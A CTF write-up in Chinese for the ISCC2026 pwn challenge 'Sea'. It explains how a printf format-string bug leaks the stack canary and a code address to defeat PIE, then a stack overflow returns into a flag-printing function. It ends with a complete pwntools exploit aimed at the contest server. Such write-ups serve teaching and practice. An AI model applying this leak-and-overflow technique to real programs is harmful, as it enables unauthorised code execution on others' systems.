Iscc2026 Pwn Sea wp

字数: 1322

一道保护繁多的栈题。

题面

你是一名航天局的紧急维护专家,负责的 “寂静之海” 深空探测器在穿越小行星带时受到严重损伤,导致主要通信链路彻底瘫痪。你现在仅能通过一条紧急诊断链路向探测器发送指令。
探测器的紧急维护固件中包含一个后门,它的作用是重启通信模块,你需要在有限机会内,准确找到后门,恢复探测器通信。

分析

查看保护:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ pwn checksec --file=sea
[*] '/data/project/ctf-repo/pwn/iscc2026/sea/sea'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

保护几乎全开。

运行程序看看,发现有两次输入,并且会 print 输出。考虑有格式化字符串漏洞。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ ./sea
--- Sea of Silence Diagnostic v2.0 ---
Awaiting Emergency Command (Max 256 bytes).

[Remaining Attempts: 2] > %p%p
0x7ffe0596c7700x7c
[Remaining Attempts: 1] > %s
%s
p

p

打开 ida 看反编译:

先看看字符串表,发现 cat flag.txt 字符串,交叉引用到一个函数:

1
2
3
4
5
6
7
void __noreturn system_reboot_comms()
{
  puts("[+] Comm-Link Re-established. Entering Maintenance Shell.");
  fflush(stdout);
  system("cat flag.txt");
  exit(0);
}

显然,我们大概只需要返回到该函数就行。

找到 main 函数:

1
2
3
4
5
6
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init_diagnostic_mode();
  process_emergency_command();
  return 0;
}

一个仅为初始化,另一个才是漏洞函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
unsigned __int64 process_emergency_command()
{
  char buf[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Awaiting Emergency Command (Max 256 bytes).\n");
  while ( attempts > 0 )
  {
    printf("[Remaining Attempts: %d] > ", attempts);
    if ( (int)read(0, buf, 0x7Cu) <= 0 )
      break;
    printf(buf);
    fflush(stdout);
    --attempts;
  }
  return __readfsqword(0x28u) ^ v2;
}

两次机会利用漏洞。
可以利用格式化字符串漏洞泄露地址,也可以写入 0x7c 字节的数据进行字符串泄露。不过可能写入的空间不太多。

这道题有 canary,所以第一次利用需要泄露 canary 值,而且我们还要考虑到 PIE 保护,要找到一个合适的栈帧上面保存 .text 段地址。
在带漏洞的 printf 初打断点。当调用 printf 后查看栈空间:

打断点:

1
b *(process_emergency_command + 120)

运行到后再 next 确保 printf 执行输出后查看栈内容:

有 main 函数的地址段,可以利用此获得程序基址。
甚至不需要构造 ROP 链(压根没有足够空间留给我们构造)

利用

首先确定 printf 的偏移量:

1
payload = b"aaaaaaaa" + b" %p" * 20

确定偏移量为 8。

通过 idapro 确定输入的 buf 位于 rbp-0x70,而 canary 值在 rbp - 0x8 处。
计算得到相对偏移应该为 8 + (0x70-0x8)/8 = 21
而 main+47 的地址也要同时得到,该偏移量为 23。
附加 * 来分割综合得到第一次 payload 为:

1
payload = b"%21$p*%23$p*"

通过 ida 获得 main+47 的偏移量为:0x13fb。
得到的地址减去它就能拿到基址,具体为:

1
2
3
4
5
6
7
payload = b"%21$p*%23$p*"

io.recvuntil(b"[Remaining Attempts: 2] > ")
io.send(payload)
canary = int(io.recvuntil(b"*")[:-1], 16)
bu_addr = int(io.recvuntil(b"*")[:-1], 16)
base_addr = bu_addr - 0x13fb

这样就可以得到 system_reboot_comms 函数的真实地址。
同时,因为 x86_64 的栈对齐要求,不能直接跳转 system_reboot_comms 最开始的地址,而可以选择在函数处理完成栈相关寄存器后的地址跳转。这里选择:

1
.text:0000000000001242      xor     eax, eax

这样加上基址就得到运行时的地址:

1
2
system_func_addr = 0x1242
system_func_addr += base_addr

第一步利用就这样,第二次利用就是栈溢出。
构建的 payload 大致为:

payload:
填充:b’a’ * (0x70-0x8)
canary: p64(canary)
保存的寄存器: b’a’*8
system_func_addr

但是这道题另一个坑点又来了……
如果 payload 长这样:

1
payload = b"a" * (0x70-8) + p64(canary) + b"a" * 8 + p64(system_func_addr)

改字节流的长度为 0x80,超出了 4 字节,会截断最后 system_func_addr 的地址,导致远程打不通(本地居然可以)
而只能输入 system_func_addr 的低 4 位地址,所以应该要用:p32(system_func_addr & 0xffffffff)
最后的 payload 为:

1
payload = b"a" * (0x70-8) + p64(canary) + b"a" * 8 + p32(system_func_addr & 0xffffffff)

利用为:

1
2
3
4
5
io.recvuntil(b"[Remaining Attempts: 1] > ")
payload = b"a" * (0x70-8) + p64(canary) + b"a" * 8 + p32(system_func_addr & 0xffffffff)
print(hex(len(payload)))
io.send(payload)
io.interactive()

也是成功拿到 flag 没有爆零啊:

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

io = connect("39.96.193.120", 10009)
#io = process("./sea")
offset = 8

system_func_addr = 0x1242

payload = b"%21$p*%23$p*"

io.recvuntil(b"[Remaining Attempts: 2] > ")
io.send(payload)
canary = int(io.recvuntil(b"*")[:-1], 16)
bu_addr = int(io.recvuntil(b"*")[:-1], 16)
base_addr = bu_addr - 0x13fb

system_func_addr += base_addr

print("canary: ", hex(canary))
print("base addr: ", hex(base_addr))
print("system_func_addr: ", hex(system_func_addr))

io.recvuntil(b"[Remaining Attempts: 1] > ")
payload = b"a" * (0x70-8) + p64(canary) + b"a" * 8 + p32(system_func_addr & 0xffffffff)
print(hex(len(payload)))
io.send(payload)
io.interactive()